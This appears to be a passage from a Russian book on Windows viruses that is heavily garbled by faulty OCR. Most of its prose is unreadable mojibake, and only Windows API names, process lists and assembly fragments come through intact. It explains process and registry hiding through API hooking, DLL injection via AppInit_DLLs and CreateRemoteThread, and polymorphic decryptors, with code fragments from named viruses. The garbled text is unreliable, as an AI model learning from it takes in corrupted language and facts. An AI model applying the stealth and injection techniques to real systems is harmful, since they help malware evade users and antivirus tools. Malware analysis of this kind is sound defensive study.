HAJIE’KHO — Be/[b MHOTHE BBITTOJHAIONIUECS TIPOTPAMMBI, U ITPEK/E BCEro
KaK pa3 BUPYCBI, TPOCTO He UMEIOT CBA3aHHBIX C HUMU OKOH. Tak 4To aTOT
croco6, PacCMOTPEHHBII B KOHTEKCTE Halllell KHUIM, CJeyeT MPU3HATH
HEYIOBJIETBOPUTEIbHBIM.

Ho y nero nemaino ansrepuarus. s Beex Bepeuit Windows 9X u He-
koTopbix Bepeuii rpynnbsl Windows NT mpurozen ¢rnoco6, 0CHOBAHHBIN
na pabore ¢yukuuii «CreateToolhelp32Snapshot», «Process32First»> u
«Process32Next». lna Becex sepenit Windows NT ¢ yciiexom MOKeT ObITh
prMeHeH c11ocod, ucnosib3yomuil Gynknmuio «ZwQuerySystemInfor-
mation», koropas xuset B Oubanoreke «<NTDLL.DLL». Bce coBpemen-
uble Bepcun Windows, kpome Windows 95 u Windows NT 4.0 (eciu B Heit
He YCTAaHOBJIEHBI «CEPBUCIIAKU» ), [IO3BOJISAIOT IIEPEUYUCIIATD ITPOIECCHI IIPH
niomortiu dpyukiuu «EnumProcessess, sxxuBymieit B «PSAPL.DLLs. Hako-
Hetr, aJ1a Bepeuii «BerBu» Windows NT akryasibHBI elie aBa crocoba:
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O HCHONB3YIONHIA «CYETIYUKHE MPOU3BOAUTENBHOCTH ¥ (DYHKIUU
«PdhOpenQuery», «PdhAddCounter», «PdhCollectQueryData»,
«PdhGetRawCounterArray» u «PdhCloseQuery», pacnosoxen-
Hble B 6ubsnorexke «PDH.DLL»;

O wucnomnpayonmii Mexanusm «Windows Management Instrumen-
tations» u rpyiny (yHKIUN, CBSI3AHHBIX C CO3/IaHUEM U TIPHUMEHe-
Huem oOobexToB « Web-Based Enterprise Management».

JIro6bie TIPOTPaMMBbl, MCIIOJIB3YIONIHUE ITH CIIOCOObI, — OyIb TO aHTH-
Bupyc win aitnosbiii Mmenepkep FAR — morennmaibHO onacHbl Jijist
BUPYCOB, TaK KaK MO3BOJISIIOT HE TOJBKO «yBUJIETh> BUPYCHBIN MPOIIECC
U MPOCMOTPETH COJEPKUMOE €r0 aPECHOr0 MPOCTPAHCTBA, HO JaKe U
«ybuthb» ero. [T0aTOMY BUPYCBI BBIHYKIEHBI CKPBHIBATHCSI.

ITepBblil MOAX0/, UCIIOIb3YEMbIH BUPYCAMH, PACCYMTAaH Ha OOBIYHbII
oOMaH 1oJb3oBaTelisi. BOT ckakeTe, CMOKETE JIM BbI «<HABCKUJIKY» OTIpe/Ie-
JIUTh, BpeloHoceH uiin Het rpotiecc ¢ umeneM «SYSMON32.EXE»? Ecan
BbI TIOMBITAETECH COCTABUTH CBOE MHEHUE 00 9TOM mporiecce 1o «SYS-» u
110 «-325, TO PUCKY€eTe OUeHb CHIILHO OIUOUTHCST, BE/Ib HA CAMOM JIEJIE 3TO
supyc Win32.Aidid. Bojiee nim Menee OnbITHBII 10b30BaTEIb OOBIYHO
HAM3YCTh TIOMHUT MEPEYEHDb POIECCOB, XaPAKTEPHDBIX JIJISI «3[0POBOii»
CHCTEMBI:

O atsve — B Windows NT cirysx6a 1raHupoBaHus II0JIb30BaTEIbCKUX
3a/1a4;
clipsrv — B Windows NT zaBenyer «6ydepom obmena» uepes DDE;
csrss — B Windows NT nopuep:kuBaer paboTy 1O TEXHOJOIMU
«KJINEHT—CEPBEP»;
explorer — B Windows NT u 9X npouecc nporpammal «IIposos-
HUK»;
internat — B Windows NT u 9X uHIUKaTOP U IIEpEKII0YaTeb A3bl-
Ka KJIABUATYPbI;
kernel32.dll — B Windows 9X sta 6ubinoreka BUAHA KaK [IPOLECC;
lIsstv — B Windows NT caienuT 3a cobiiofieHueM JUIeH3uil;
Imrepl — 8 Windows NT nogaepxupaer permkanuio haisios;
loadwc — B Windows NT nogaep:kusaer pabory ¢ Internet Explorer;
locator — B Windows NT (tounee, naunnas ¢ sepcun 2000) j10ka-
TOP Y/IaJIEHHOTO BBI30BA MIPOIIELYD;

Isass — 8 Windows NT nocutesb BaKHbIX CIyK0 CeT€BOro Ha3Ha-
yenusd, Takux Kak «Net Logon» («AyrtenTudukanus yaaaeHHbIX
10JIb30BaTENEN» );

mmtask.tsk — 8 Windows 9X npoiecc noauep:Kku MyJIbTuMe i
HBIX 33/1aY;

©C 00000 O ©O 060

@
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mprexe — B Windows 9X cranmapTHbII CHCTEMHBIN POyTEp;
msgsrv32 — B Windows 9X cepBep MoiepKK1 CUCTEMHBIX CO00-
HIEHNU;

nddeagnt — 8 Windows NT o6ecrnieunsaer pabory DDE (o6men
JAHHBIMU MEK/TY TPUIOKEHISIMU );

netdde — B Windows NT o6ecneunsaer pabory DDE (00Men nan-
HBIMU MEK/IY [TPUIIOKEHUSIMHE );

ntvdm — B Windows NT noazepkusaer paboTy HPUIOKEHUN
MS-DOS un Windows 3.X;

pstores — B Windows NT obecrieduBaer 3aliury ys3BHUMbIX JaH-
HBIX, TAKUX KaK KJIIOYHU MU()POBAHUS JAHHBIX, TAPOJIH U T. I1.;
rpess — B Windows NT caysk6a OAIEPAKKI BbI30BA 1 BBIIOIHEHUSI
yJIaJIEHHBIX MIPOILIE/YP, oiep:kuBaionias Texnosoruio DCOM,;
services — B Windows NT HocuTesb MHOKECTBA BaKHBIX CHCTEM-
HBIX CJIysKO ceTeBoro u ob11ero HazHaueHust, Takux kaxk «Computer
Browsers> («IIpocMOTPIIUK KOMIILIOTEPOB B CETEBOM OKpYIKe-
Hun» ), «<Event Log» («O6cyKuBamHme CUCTEMHBIX KYPHAIOB» ),
«Plug and Play» («HacTpoiiliMK HOAKIIOYAEMBIX yCTPOWCTB» )
U T.IL;

smss — B Windows NT nmoanep:xusaer ceanchl paGOThI [10JIb30Ba-
TeJIst;

spoolss — B Windows NT ciy:x0a IIoaaepKKu IevaTi;

spool32 — B Windows 9X cayx6a HOALEPKKY [IEYaTy;

svchost — 8 Windows NT (tounee, Haunnas ¢ sepcun 2000) Ho-
CHUTENIb MHOKECTBA BXKHBIX CHCTEMHbIX CJIYKO CETEBOTO U 001I[ero
HazHaueHus, Takux Kak nopiep:kka DCOM u COM+, aBromaTu-
YyecKoe 0OHOBJIEHNE CUCTeMBI, OpanamMaysp ((hailpBoILI) HHTEPHET-
COEIMHEHW, IUCTIeTYep JIOTUYECKUX JIUCKOB, TUCIIETYED YaleH-
HBIX MOJIKJIIOYEHUH U TIPOYEE;

system — B Windows NT mpouecc o6ciyKuBaHus KaLIel, BUP-
TYaJIbHOU MAMSITH U T. IL.;

systray — 8 Windows NT u 9X npuiioxkenue rnaseiu 3ajnau;
tapisrv — B Windows NT nogzep:kuBaer paboTy ¢ HEKOTOPHIMU
ycTpoiicTBamuy;

taskmgr — B Windows NT aucreruep sagay;

taskmon — B Windows 9X aucneruep sazay;

ups — B Windows NT ciyx6a moaaep:Kku nCToYHUKa Oeciiepeboii-
HOTO TIUTAHUS;

winlogon — 8 Windows NT nozep:kuBaer perucTpariio moJjib30-
BaTeJiell B CUCTEME;
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O winmgmt — B Windows NT (tounee, naunnast ¢ Bepcuu 2000) moj-

nep:kuBaer pabory MMC;

O winoa386.mod — B Windows 9X mporecc nmoueps:kku paboThl KOH-

COJIBHBIX IIPOTPAMM.

Koneuto, aToT CIUCOK HEIOJIOH, Be/lb Psi/I MPOIECCOB 3AILyCKAIOTCS
He aBTOMaTU4YeCKK (HampuMep, alg — ciryk06a 110308 YPOBHS IPUIOKE-
HUIt), a PsIL IPOIIECCOB MOSIBJISIIOTCS] BMECTE € YCTAHOBIEHHBIMU BHEIITHU-
MU IIpuaoKenusmu (Hampumep, osa u findfast — smecte ¢ MS Office 97,
ddhelp Bmecre ¢ DirectX, a ptsnoop — BMecTe ¢ apaiiBepaMu HEKOTOPBIX
Mo/ieMOB). Kpome Toro, He Bce 9TH TIPOIIECCh HYKHBI, U B TIIATENbHO «BbI-
JIM3AHHOW» CHCTEME UX OOBIYHO OCTAETCSI B TIAMSITH He GOJIBbIIE JTI0KUHBIL.
Tem He MeHee 1pu OIpPeIeJIEHHOM OIIbITe AAMUHUCTPUPOBAHUS OTlepa-
[MOHHOI CHCTEMBI, @ OCOOEHHO B CJIydae, KOT/[a BCE HY)KHBIE ITPOIIECCHI
ocJie 3aBepUICHUsT YCTAHOBKY «3/[0POBON» CUCTEMBbI BBINUCAHBI HA Oy-
MaJKEUKy, «4y’KaKa» 0ObIYHO BUIHO cpady. Ho BUPYC U TYT UMeET MaHChI
«OTBECTH TJIa3a» T0JIb30BATENI0. TUITNYHBIN TIPUEM: CTapTOBaTh U3 (haii-
JIa CO BIIOJIHE «IIPABUJIbHBIM» MMEHEM — HAIPUMep, HEKOTOPbIe BUPYCHI
ouenp mobar xuth B «C:\svchost.exe» mmm «C:\WinNT\svchost.exe».
Kax pacriozuats kpamosy? A oueHb IIPOCTO: IIPABUIbHOE «MECTOKUTEb-
cTBO» aToro (haitna — karasor «C:\WinNT\SYSTEM32», u, kpome Toro,
B «Windows 9X» u «Windows NT 4.0» Takoro 1poiecca 1pocro e ObIBa-
eT. [[pyroii, He MeHee TUTTMYHBIN U He MeHee HAaMBHBIN IIPUeM: UyTh-4yTh
U3MEHUTD MMSI [IPOIIECCa TaK, YTOObI HEBHUMATEIbHBIN TOJIb30BATENb He
yBugea pasauibl — «svchOst» (¢ «Hoamkom» ) BMecTo «svchost» (¢ Oyk-
BOIL «0»), «1sass» (¢ «eAMHUYKOIT» ) BMecTo «lsass» (¢ OykBoii «l») 1 T. 1m.
TaxkuMm 06pa3oM, B GOJBITMHCTBE CIIy4YaeB «Bpara» 0ObIYHO YAAeTCs YBU-
JIeTh HEBOOPY>KEHHBIM TJIa30M U YHUUTOXKUTH TOJIBIMU PYKAMU, HO JIydIlie
BCe-TaKU TMOPYYUTH ATy paboTy aHTUBUPYCY, KOTOPBII «3a/e3eT» BHYTPb
[10/IO3PUTEJILHOTO TIPOIIECCA U IIOCTABUT BO (ppasze «KAa3HUTh HEJb3SI 110-
MUJIOBATh» 3AILATYIO B HYKHOM MeCTe.

Bropoii nmoaxon, mcnosib3yeMblii BUpycaMu [IJisi MACKUPOBKU B I1a-
MSITH: OHM TE€M WJIM WHBIM CIOCOOOM BCTPAUBAIOTCSI B IEMOYKY Jpaii-
BEPOB U CUCTEMHBIX OMOJMOTEK U «BBITUPAIOT> B MCIOJIb3YEMbIX UMU
CTPYKTypax JaHHbIX nH(pOpMaLuio o cBoeM mpucyrcrsuu. B Windows
NT must aroii mesu o6bdHO IepexBarbiBaioTcst GyHkmu «ZwQuery-
SystemInformation» un «NtQuerySystemInformation»!, tak Kak oHuU
PacIonoxKeHbl «OJIMKEe BCeX» K CUCTEMHBIM TabJUIaM OIeparmoOHHON
CHCTEMbI U BCE OCTAJIbHBIE CEPBUCHDIE (DYHKIIUU JIJIST IOJYyYEHUsSI CIINCKA

U TlepBas m3 HUX — «00EepPTKa» A1 BTOPOIA.



Bupychbl AnS 32-pa3psiaHbix Bepciii Windows < 295

mpoiieccoB camu obparaiorcest K HuM. B Windows 9X Bpsi/i it MOKHO Tipu-
AyMath 4To-HuOY 1b Gosee aphexTrBHOE, YeM nepexsar « Process32First»
u «Process32Next». [IpumepoM HCIOIb30BaHUA TOAOOHBIX TEXHOJIOTUI
MOJKET CJIYKUTh ceTeBOoi «uepBsik» Net-Worm.Win32.Padobot.z. Bor
nepeveHb IepexXBaThiBAEMbIX (1, COOTBETCTBEHHO, KOHTPOJIMPYEMBIX ) UM
CUCTEMHBIX CEPBUCOB:

Q B <«KERNEL32.DLL» — «FindNextFileW», «Process32Next»;

O B<«NTDLL.DLL»-«NtQuerySystemInformation»,«RtlGetNative-
SystemInformation», «ZwQuerySystemInformations»;

O B «<ADWAPI32.DLL» — «RegEnumKeyA», «RegEnumKeyExA»,
«RegEnumKeyW», <«RegEnumKeyExW», <«RegEnumValueAs,
«RegEnumValueW ».

Brieuarssier cicouex, ja? Bripouem, aTo ceTeBOi 4epBb, a BOT (aiiJio-
BBIX BUPYCOB, IPUMEHSIONUX MOA0OHBIE TPIOKU, BPO/ie ObI HE CYIIEeCTBY-
eT, 1 9TO TOKe 3aMedaresibHo!

Haxkomerr, HeJb3s He yIOMSHYTb HECKOJIBKO OY€Hb KPACUBbIX TEXHOJIO-
ruil MACKUPOBKH, OCHOBAHHBIX HA MPUKPEIJIEHUN BUPYCHOTO BBIUUCIIH-
TEJILHOTO TIPOIECca K JPYTOMY BBITOJIHSIONIEMYCsT Tipoieccy. Pabotaior
9TH TeXHOJIOTHH TOJIbKO B Windows NT.

B npocrteiiiiiem ciydyae BUPYC IIPOCTO TIPOIIUCHIBAET CCHLIKY HA CBOIO
DLL-6u6auorexy B kmoue « HKLM\Software\Microsoft\ WindowsNT\
CurrentVersion\ Windows\Applnit DLLs», u mocie mepe3arpysku ara
GubMoTeKa TmonajeT B aipecHbie TPOCTPAHCTBA BCEX MPOIeccoB. B xoze
3arpysku J00OH AMHAMMYECKOH OMOIMOTEKH OAMH pa3 cpabaTbiBaeT
MHUTTMATU3UPYIolias ee craproBas ¢hynkius «DLLMainy, cienoBarenb-
HO, BUPYC MOKET TIOJIYYUTh YIIPABJIEHUE, TPOCKAHUPOBATH CBOE «HOBOE»
AJ[PECHOE MTPOCTPAHCTBO, BHE[PUTD CBOI KOJI B Ipyrue OUOJIMOTEKH U T. 1.

Bosiee npopBUHYTBIM SIBJISIETCSI METOJI, MCIOJIb3YIONIUI BO3MOKHO-
cru cepsucHoil ¢yukiun «CreateRemoteThread», xoropast xuBer B
«KERNEL32.DLL» Bcex Bepcuii Windows. Bupouem, B Windows 9X
OHa IIPOCTO «KUBET» (B BUJE <IIyCTHILIKKW»), a B Windows NT erme mpu
9TOM 1 «paboraers. Tak Bot, craproBas B Windows NT, BUpyc MOXKeT o1-
KpbITh «uyskoii» mpoitecc (Hanpumep, «EXPLORER.EXE») npu nomo-
1 CUCTeMHOro Bbi3oBa «OpenProcess» u «BIPBICHYTh» B HETO KAIIEJIbKY
cBoero koza pu nomoriu «CreateRemoteThread» — sta rexHostorust tak
u HazoiBaercs: «DLL-unbekiusgs. To ecTb Ko BpeIOHOCHOI ITPOTrpaMMBbl
CTAHOBUTCSI YaCThIO MHOTO, HAIIPIMEDP CUCTEMHOTO, IIPOIlecca 1, pazyMe-
€TCsl, HU B OJTHOM U3 CIIUCKOB He BUJIEH B KAYeCTBE OTAEIbHOI 3a1a4M.

ITpowJTIOCTPUPOBATH UCIIOIH30BAHKE MOJOOHBIX TEXHOJIOTHI HA TIPH-
Mepe Kakoro-Hubyb GhailIoBoro BUpyca HeBO3MOXKHO. PaccMoTpeHHbIe
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MIPUEMBI BXOJISIT B aPCEHAJ TOJIBKO «UEPBIKOB» U «TPOSHOBY, PeUb O KO-
TOPBIX OUET JaJIbliIe.

4.3.9.3. Macxuposxa xatoueu Peecmpa

Kmoun Peectpa, ncnonb3yemble BUPYCOM JJISI PETUCTPAIUM B CHU-
CTeMe, TOXKe HYKIAIOTCSI B COKPBITUU. llepexBatuB TeM WU WHBIM
criocobom cucremubie Gyakiun «RegEnumKeys», «RegEnumKeyEx»,
«RegEnumValues, pacniosnosxkennbie B «<ADWAPI32.DLL», Bupyc mo-
JKET MCKAa3UTh BO3BpAIlaeMyl0 UMHU WHOOPMAIMIO ¥, TAKUM 00pasoM,
ne3nHGOPMUPOBATE UBJHUIINHE JI0O03HATEIBHOTO TI0Jb30BATENsT, BO-
opyskenHoro crangapTHoit cuctremuoit yrunnrtoit «KREGEDIT». 3a npu-
MepaMHu JlaJIeKO XOAUTh He TTPuxoauTcs: Bce Tot ke Net-Worm. Win32.
Padobot.z.

4.3.10. NMonumopddHbie Bupycbl B Windows

Opnum 3 MuchOB, AKTUBHO IIPOIBUTABIINXCS B TI0JIb30BATENIbCKIE MACCHI
paspaboTunkamu orepanuontoii cucreMbl Windows 95, 6bu1 Mud o He-
BO3MOKHOCTH CYIIIECTBOBAHUS B ATOW CPefie CaMOMOIUMDUITPYIOTTNXCS
nporpamm. B camowm jneste, ucniosasgemsbrit kox PE-miporpamm mocste 3a-
IPY3KH B AMSITh [OTAJIAET B OT/IEJIBHYIO CEKIUIO, Ui KOTOPOil cOpoliieH
6uT pasperieHust 3anucy. [LOMBITKA BBITOJHUTD MOAUGDUKAIIIIO 3TOTO
(dbparmenTa maMsaTh OyAeT MTHOBEHHO TIpecedeHa IPOIECCOPOM Iy TeM re-
Hepauuu uckioderns 0Dh.

Pasymeercst, 3aKpbIThIll TYPHUKET B METPO IIPEIHAZHAYEH TOJIBKO JJIsI
3aKOHOMOCYITHBIX «Tpaxkaan». OcTanbHble ke MOTYT 000#TH ero c6o-
Ky, IPEIbSIBUB KOHTPOJIEPIIIE «KPacHbIe KOPOUKU». Ellle TypHUKET MOXK-
HO TepenpeirayTh. HakoHelr, MMest moaXo/IsIIyI0 KOMILTEKIIMIO, MOKHO
IPOCTO IIPOTUCHYTHCS MEXK/Y XPOMUPOBAHHBIMU [IPYThSIMH.

Jliist TOTO Ke, 4TOOBI epedPATHCS YePe3 BUPTYAJIbHbIE «TYPHUKETHI»,
YCTPOEHHBIE OlepallnoHHON cucteMoil Windows, J0CTaToYHO yCTaHO-
BUTH B €IMHUIY OUT pPa3pelieHus 3amucu B KOJOBON CEKINK 3apaskeH-
HOI [IPOTPaMMBbl, — JIJIsT «ZIpoIiiiepay (IPOrpaMMbl, U3 KOTOPOIl CTapTyer
nepBoe MOKOJIEHWEe BUPYCa) 9TO MOKHO CJIeJIaTh MPU TIOMOITH YTUIUTHI
tua «PEWRSEC», a a1g 3apaskaeMbix mporpamMMm ato OyJer AejaTh
cam Bupyc. Bort, Hanpumep, Tabiuia cekuuil 1 daiina, 3apakeHHOro
supycom Win32.Rainsong.3891 (cm. tabn. 4.11). O6parute BHMMAaHNIE
Ha TIOCJIETHIOO CEKITNIO, B KOTOPOH TI0 3a/lyMKe TMTPOrPaMMUCTOB (hrpMbI
Microsoft 1o/KHBI OBLTH XPAHUTHCS TIepeMeliaeMble CChIITKH, @ BOBCE HE
WCTIOTHSEMBIi KOJI, K TOMY JKe TOCTYITHBII /711 3arucu!
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Tabnuuya 4.11. Tabnuya cekuwnii B nporpaMmme,
3apa)xeHHou Bupycom Rainsong

Name | VirtSize | RVA | PhysSize | Offset Flags
1 .text 3E9C 1000 |4000 1000 60000020 r.ec.....
2 .data |[84C 5000 |1000 5000 C0000040 rw...d...
3 .idata |DES8 6000 |1000 6000 40000040r....d...
3.rsrc 6000 7000 | 6000 7000 40000040r....d...
4 reloc | 3000 D000 | 2000 D000 E2000060 rwec.d...

JIpyroii ciocob MpeoJoIeHIs «TYPHIKETa» 3aKII0YAeTCs B KOIUPOBa-
HUU TeJia BUPYCa B CTEK, BE/lb JIJIsl 9TOTO PETUOHA TIPOTPAMMHOM MaMSITH B
onepannotHbix cucremax Windows 9X u Windows NT (kpome Bpojie 661
Windows Vista u 7) paspeliieHbl Kak YTeHKe, TaK 1 3alliCh, a ellle MCIOJI-
HEHUE HAXO/ISIIETOCS TaM KOJIa.

Hy u Ha 3aKyCcKy — OTKpPbITHE COOCTBEHHOrO Ipolecca CpeicTBaMu
«OpenProcess» (c mapamerpom PROCESS ALL ACCESS) u 3anuch
B Hero rpu oMot « WriteProcessMemory».

Takum 06pasoM, 3aMUch B KOAOBbIE CEKI[UK IIPOrPaMM BCe-TaKH BO3-
MoskHa. U, 3HaunT, camoMoiuduiupyromrecs mporpaMmbl (UUTai — «11o-
JuMopdHbIe» 1 «3andposaHHbie» Bupychl) B Windows 9X/NT cymuiect-
BOBaTh MOTyT. /[eficTBUTEIbHO, OHU €CTh, U MX MHOTO — TI0 KpaliHeil Mepe,
HECKOJIbKO cOTeH. V] Bce oHM OYeHb Pa3HbIE.

Hampuwmep, Bupyc Win32.Koru ieMoOHCTPUPYET IOBOJIBHO TPUMUTHB-
HYIO TEXHUKY HOJMMOPGU3Ma, UCIIOJIb3YIOILY0 pasbaBiieHre coOCTBEeH-
HBIX KOMaHJ[ <MyCOPOM>.

; Bupyc Win32.Koru

E800000000 call $+5 ; 3HayuMmasa KomaHpa
33F9 Xor edi, ecx

33F9 xor edi, ecx

F5 cme

33F9 Xor edi, ecx

5F pop edi ; 3Hayumasa KomaHaa
F5 cme

F8 clc

47 inc edi

47 inc edi

D6 setalc

D6 setalc

F9 stc

4F dec edi

4F dec edi

81C7C3000000 add edi, 0000000C3 ; 3HauyMmas KomaHpa
F9 stc

F9 stc
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B9D4030000 mov ecx, Crypted ; 3HauMmasa KomaHpa
F9 stc
LoopC:

D6 setalc

81748FFC1F740300 xor [edi+ecx], 0000374 ; 3Haynmas KoMmaHaa
D6 setalc

D6 setalc

49 dec ecx ; 3HaduMasa komaHaa
D6 setalc

90 nop

90 nop

0BC9 or ecXx, ecx ; 3HaduMasa kKomaHaa
0F85D3FFFFFF jne LoopC  3HauMMas KomaHpa

A Bupyc Win32.Dream.4916 — nipumep Tak Ha3bIBaeMoii TOJTUMOPh-
HOU «pushs»-rexnosoruu. Bee Tesio Bupyca, pasMelieHHOE B 3apaKeHHOM
(aiine, npezpcrasiger cobON HECKOIbKO Thicsty Koman «PUSH», nome-
MIAOIIMX B CTEK «HACTOSIIUN> UCIIOJHIEMBIH KO/ BUpyca. YTo0bl co3-
naTh 3(GeKT TOAMMOPHOHOCTH, 3aTOJHEHUE CTEKA OCYIIECTBISETCS KakK
16-6uroBbiMu, Tak U 32-6uToBbiMu KoMargaMu «PUSH», u, kpome Toro,
B cJlydaiiHbie MecTa BUpyca Berasistiiores napbl komana «PUSH/POP»,
He U3MEHSIONNE COCTOSHUSA cTeKa. B KoHIle BUPYCHOTO Tesia pa3MeniaeT-
cst komanya <] MP ESP», nepenaionias ynpasienue Ha BUPYCHbBIN KOJI, —
WMEHHO TI09TOMY B JIMCTUHTE TIPUBOIUTCS KOHEIl BUPYCa, a HE eT0 HAYaJo.

; Bupyc Win32.Dream.4916

66682E03 push 0032E

666880BD push 0BD8O

68AE010000 push 0000001AE

666800E8 push 0E800

68E8870100 push 0000187E8

686EC23C4F push 04F3CC26E ; 9TOT Mycop. ..
5E pop esi ., ...B CTeK He nonaget
66680000 push 00000

681DE81C0O1 push 0011CE81D

68000000EB push 0EB000000

6668E833 push 033E8

6810000050 push 050000010

68000005CC push 0CC050000

6889856B05 push 0056B8589

6800E00000 push 00000E000

681300002D push 020000013

688B842454 push 054248488

685D83EDO6 push 006ED835D

6800000000 push 000000000

666802C7 push 0C702 ; 9TOT Mycop. ..
665A pop dx ;... B CTek He nonageTt
666860E8 push 0E860

FFE4 jmp esp
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JpyruM npuMepoM IPUMeHEHUsI «Pushy» -TeXHOJIOTHI MOKET CIYKUTh
pupyc Win32.Aris, TOJIbKO B HEM KOHCTaHTBI, TOMEIaeMble B CTEK, re-
HEPUPYIOTCST HECKOJBKUMU CJIYYalHBIMU PETMCTPOBBIMU  KOMaH/IaMU
(«<ADD»/«SUB»/«XOR» u T. 11.):

Bupyc Win32.Aris

BA78778A01 mov e

dx, 0018A7778
81C2D341798E add edx, 08E7941D3
52 push edx
B81CF98D5B mov eax, 05B8DF91C
2DE3FC08A3 sub eax, 0A308FCE3
50 push eax

Terepp 0 «kyraccumyeckom» monuMopdu3Me — HA TIPUMepe BUPYca
Win32.Parvo. OcHOBHast 4acTh Tesla BUpyca 3amu@poBaHa, a pacirg-
POBIIMK COCTOUT U3 HECKOJIbKUX /IECSTKOB (DPATMEHTOB, COIEPIKAIINX KAK
«coliepKaTeIbHbIe> IEHCTBUS, TaK U «Mycop». [IpuMedarenbHo, 4TO «CO-
JiepKaTesbHbIe» IEHCTBUS «pa3Ma3aHbly 10 Pa3HBbIM KOMaH/IAM U 110 pa3-
HBIM (hparMeHTaM, caMu (OparMeHThI TePeMEIIAHbI B CJIYYaitHOM MTOPSIIKE,
a TIepexo/l OT OTHOTO U3 HUX K JPYTOMY BBITIOJTHSETCS HE TOJTBKO KOMaH-
namu «JMP» u «CALL», HO U «CKPBITHO» — IIPU [IOMOIIY KOMOMHAIIMIA
turma «CALL/POP/RET». [Ipumenenne npen <«mepMyTaiiuy» HAJTUIO.
Bot manenpKuit «Kyco4ek» OHOTO U3 BAPUAHTOB TOTO PACIIU(POBITIKA
(TIPUBECTH €ro MOJHOCTHIO He TIPE/ICTABISIETCS BO3MOKHBIM — OH B JIaH-
HOM cJiydae cocTouT u3 22 ¢parmenToB). CymeeTe Jiu BbI TPOCTIEIUTD 32
nepejiaveil yrpasieHusi ot hparmMenta K pparMenTy u 100paThesi 10 «Bbi-
Xo7a»?

; OparmeHT 1 - 3[1eCb BX0A

00401354: inc dh

00401356: jmp 000413790

. OparmeHT 3

0041369D: xchg edi, ebp
0041369F: mov edi, 046B2D877

004136A4: call 0004136C6

;. OparmeHT 4

004136C6: mov di, 009B0
004136CA: xor di,010DC
004136CF: xchg di, bp
004136D2: pop edi

004136D3: call 0004136EE

;. OparmeHT 5
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004136EE: jmp 000413700

;. OparmeHT 6

0041370D: pop edx

0041370E: xchg ebx, ebp
00413710: add edx, 0000E89B0
00413716: mov ebp, 0424AD707

0041371B: retn

. OparmeHT 2

00413790: mov s1,07838
00413794: dec bp

00413796: call 00041369D
;A 30eCb — BbIXOA

Heuro nmogo6noe nenaer u supyc Win32.Zperm.a, ToJIbKO Ha OTEJIb-
Hble, IePeCTaBICHHbIE MECTaMK (DParMeHThI pa3ouT He paciuiudpOBIITHK,
a Bech Bupyc! Brepsble nomobnas uges OblLia ucnojbsosana B DOS-
supyce Ply. @aktuuecku B ciaydae Win32.Zperm.a peub UAET He COBCEM
0 «IOJUMOPGU3MeES, HO 0 «MeTaMopdu3Me» BUPYCA.

OmHaKko CHOKHENIIMM W3 MeTaMOP(MHBIX BHUPYCOB, 3apaKaioININX
PE-aiiser, BoT yske MHoro Jiet cuutaercss Win32.Zmist (on ske Win32.
Zombie.Mistfall). Asrop «BOyxaj» B Hero cpasy HECKOJbKO CJIOKHEM-
MIUX TEXHOJIOTHH <«3aITyThIBAHUS> BUPYCOJIOTOB U aHTHBHUPYCOB, CPEAN
KOTOPBIX:

RPME (Real Permutation Engine) — texHosorust ciydaiiHoii me-
pecTaHoBKM MecTaMi (GparMeHTOB BUPYCa;

UEP (Unknown Entry Point, ona ke EPO) — TexHOJI0THS BHEApE-
HUSI TIEPBOI BUPYCHOI KOMaH/IbI B CEPEANHY TTPOTPAMMHOTO KO/Ia;
ETG (Executable Trash Generator) — TeXHOIOr1sI TeHEPAIMU CITY-
YAITHBIX PErMCTPOBBIX KOMAH;

MistFall — TexHosmorust «mepeMenmBanusi» BUPYCHOTO KO/ia € KO-
ZIOM TIPOTPAMMBI;

nuzacceMOIIep THH KOMAH/I.

Bort xpaTtkoe 1 1OBOJIBHO TOBEPXHOCTHOE, HO /Ia’Ke B TAKOM BH/IE BECh-
Ma BreyaTJisiioniee onucanve Bupyca Win32.Zmist, BbIITOJHEHHOE CO-
tpyauukamu «Jlaboparopun Kacrepckoros:

©c O O O

...O4€eHb CIOXHbIN MOJIMMOPQHbLIV KOMIbIOTEPHbIV BUPYC. VIcrosib3y-
€T YHUKaJIbHYI0 TEXHOJIOMMIO0 BCTpamnBaHusi B akisibl: BUpPYC «pa3bupa-
eTt» (an3accembnupyet) PE EXE-¢arin Ha cocTaBHble 4acTu, BCTpau-
BaeT CBOV KoA v cObupaeT 3aHOBO, NepeMeLLmnBasl rpuv 3TOM CBOV KO
M Ko4 3apaxaemoro gavina. VIcnonb3yet yHUKasbHyl0 TEXHOJI0MI0
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JeKpunToBaHus CBOero Tesia Ass 06xoAa 3BPUCTUHECKUX aHanm3aTo-
poB. To4ka Bxofa 3apaxeHHOoro garna He N3MeHsIeTcsl. 3apaxeHHble
Qarinbl npakTn4decku Bcermga paboTocrnocobHbl. [locne 3apaxeHus
pasmep arinos yBeanumnBaeTcs npumepHo Ha 35 K6. lNouvck ¢arinos
[151 3apaxeHuss npou3BoANT PEKYPCUBHO: cHavasia B ANPEKTOpUn
Windows, ganee B nytsx nepemeHHoi %PATH% v Ha anckax ot A: 40
Z:. Bapaxaet To/IbkO Te (alisibl, CTPYKTYPY KOTOPbIX 3HAET: B OCHOB-
HOM 3TO pavisibl, CKOMMNINPOBAHHbBIE KOMMUISTOPAMU BbICOKOYPOB-
HeBbIX 53bIKOB (95% uncnonHseMbix ¢parinos). lNpuv 3apaxeHun garina
BbiagessetT cebe 610k namsaTv B 32 M6...

B nexoropom cmbiciie Wind2.Zmist, nosiusiiuiicst B Hauasie X X1 Be-
Ka, — 9TO (DPUHATBHBIN «caTioT» Bcell amoxe Win32-supycos. [Tocre ero
[OSIBJIEHUSI [IMCaTh BUPYCHI 1Jist 3apaskenunss PE-daiinos crano 6eccmbic-
JIECHHO — HUKTO He OIEHUT, HUKTO He ToiiMeT. M0OKHO, KOHEUHO, YIIOMSI-
HYTh «MOHCTpa» Win32.MetaPHOR, namucanHoro mapy JieT CIyCTsI.
N sce.

Het, Win32-Bupycsl, KOHEUHO, THUIIYT. EJKEroHO TOSBJISIOTCS He-
CKOJIBKO HOBBIX Pa3HOBUIHOCTE «3apasbi» /st Windows. Ho, Bo-1iepBbIX,
<HECKOBLKO» — 3TO He Te «/IECATKU» U «COTHU», KOTOPBIMU OBLT OTMEYEH
pybesx Thicsuesietnii. Bo-BTOPBIX, HE TO UTO <«IEPEITIOHYTh», a XOTs ObI
BctaTh BpoBeHb ¢ Win32.Zmist 1 Win32.MetaPHOR coBpeMeHHBIM
BUPYCaM He 1o cuity. /la v u3MEeHUIUCh TTOOY/IUTENbHbIE MOTHBbI BUPY-
cornucaresieit. [TouTt HUKTO yiKe He CTPEMUTCS «CKa3aTh HOBOE CJIOBO» 1
